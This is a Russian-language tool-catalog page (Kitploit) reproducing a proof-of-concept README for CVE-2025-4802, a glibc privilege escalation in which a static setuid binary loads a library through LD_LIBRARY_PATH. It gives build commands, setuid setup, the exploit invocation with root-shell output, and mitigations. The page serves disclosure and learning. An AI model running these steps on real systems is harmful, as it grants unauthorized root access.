Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-4802-Proof-of-Concept — Proof of Concept для статически скомпилированного setuid-бинарника, уязвимого к dlopen с LD_LIBRARY_PATH | Kitploit
Инструменты/GitHubGitHub/betizzel/cve-2025-4802-proof-of-concept
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubbetizzel/cve-2025-4802-proof-of-concept

CVE-2025-4802-Proof-of-Concept

Proof of Concept для статически скомпилированного setuid-бинарника, уязвимого к dlopen с LD_LIBRARY_PATH

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
217 месяцев назадЕщё не проверено

CVE-2025-4802 — Proof of Concept

⚠️ Отказ от ответственности: Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Не используйте этот эксплойт против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения. Неправомерное использование может нарушать законы и нормативные акты.

Сводка по CVE

ПолеДетали
CVE IDCVE-2025-4802
Затронутое ПОGNU C Library (glibc)
Затронутые версии2.27 – 2.38
Тип уязвимостиПовышение привилегий через недоверенный LD_LIBRARY_PATH
Вектор атакиЛокальный

Описание

Уязвимость в GNU C Library (glibc) версий с 2.27 по 2.38 позволяет злоумышленнику эксплуатировать переменную окружения LD_LIBRARY_PATH в статически скомпилированных setuid-бинарниках, которые вызывают dlopen().

Обычно динамический компоновщик очищает LD_LIBRARY_PATH для setuid-программ. Однако статически скомпилированные бинарники полностью обходят динамический компоновщик, поэтому LD_LIBRARY_PATH никогда не очищается. Когда такой бинарник вызывает dlopen() (напрямую или косвенно через setlocale() либо функции NSS, такие как getaddrinfo()), glibc разрешает разделяемые библиотеки, используя контролируемый злоумышленником LD_LIBRARY_PATH, что позволяет выполнить произвольный код с повышенными привилегиями.

Как это работает

  1. Статически скомпилированный setuid-root бинарник вызывает dlopen("myso.so", ...) для загрузки разделяемого объекта по имени (а не по абсолютному пути).
  2. Поскольку бинарник статически скомпонован, динамический компоновщик (ld-linux.so) никогда не запускается, поэтому LD_LIBRARY_PATH не очищается.
  3. Злоумышленник создаёт вредоносный разделяемый объект (myso.so), который экспортирует тот же символ hello(), но порождает root-оболочку.
  4. Злоумышленник устанавливает LD_LIBRARY_PATH так, чтобы он указывал на каталог, содержащий вредоносную библиотеку.
  5. Когда setuid-бинарник запускается, он загружает библиотеку злоумышленника вместо легитимной, выполняя произвольный код от имени root.

Структура репозитория

root@kitploit:~
.
├── main.c                          # Vulnerable setuid binary source
├── myso.c                          # Legitimate shared object (safe)
├── evil_library/
│   └── evilso.c                    # Malicious shared object (spawns root shell)
├── proof_of_concept_screenshot.png # Terminal screenshot of the exploit
├── proof_of_concept_video.mp4      # Video walkthrough
├── Makefile                        # Build automation
└── README.md

Предварительные требования

  • ОС: Fedora 39 (или любой дистрибутив Linux с уязвимой glibc)
  • Версия glibc: 2.27 – 2.38 (проверить с помощью ldd --version)
  • Пакеты: gcc, make
  • Доступ root для установки setuid-бита

Шаги воспроизведения

1. Собрать всё

root@kitploit:~
make all

Или вручную:

root@kitploit:~
# Build the legitimate shared object
gcc -shared -o myso.so -fPIC myso.c

# Build the vulnerable binary (statically linked)
gcc -static -o main main.c -ldl

# Build the malicious shared object
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c

2. Установить setuid-бит (требуется root)

root@kitploit:~
sudo chown root:root main
sudo chmod u+s main

3. Запустить обычным образом (безопасное поведение)

root@kitploit:~
./main

Ожидаемый вывод:

root@kitploit:~
 BEGINNING OF MAIN
Hello from the safe shared object!

 END OF MAIN

4. Эксплуатация с LD_LIBRARY_PATH (вредоносное поведение)

root@kitploit:~
LD_LIBRARY_PATH=./evil_library ./main

Ожидаемый вывод:

root@kitploit:~
 BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

Бинарник загружает myso.so злоумышленника из evil_library/ вместо легитимного, порождая root-оболочку.

Proof of Concept

Proof of Concept Screenshot

Также доступен видеообзор: proof_of_concept_video.mp4

Меры защиты

  • Обновите glibc до исправленной версии (> 2.38)
  • Избегайте статической компоновки для setuid-бинарников, использующих dlopen()
  • Используйте абсолютные пути в вызовах dlopen() вместо простых имён библиотек
  • Сбрасывайте привилегии до вызова dlopen()
  • Используйте флаги усиления компилятора/компоновщика и по возможности избегайте setuid

Ресурсы

  • NVD — CVE-2025-4802
Скачать инструмент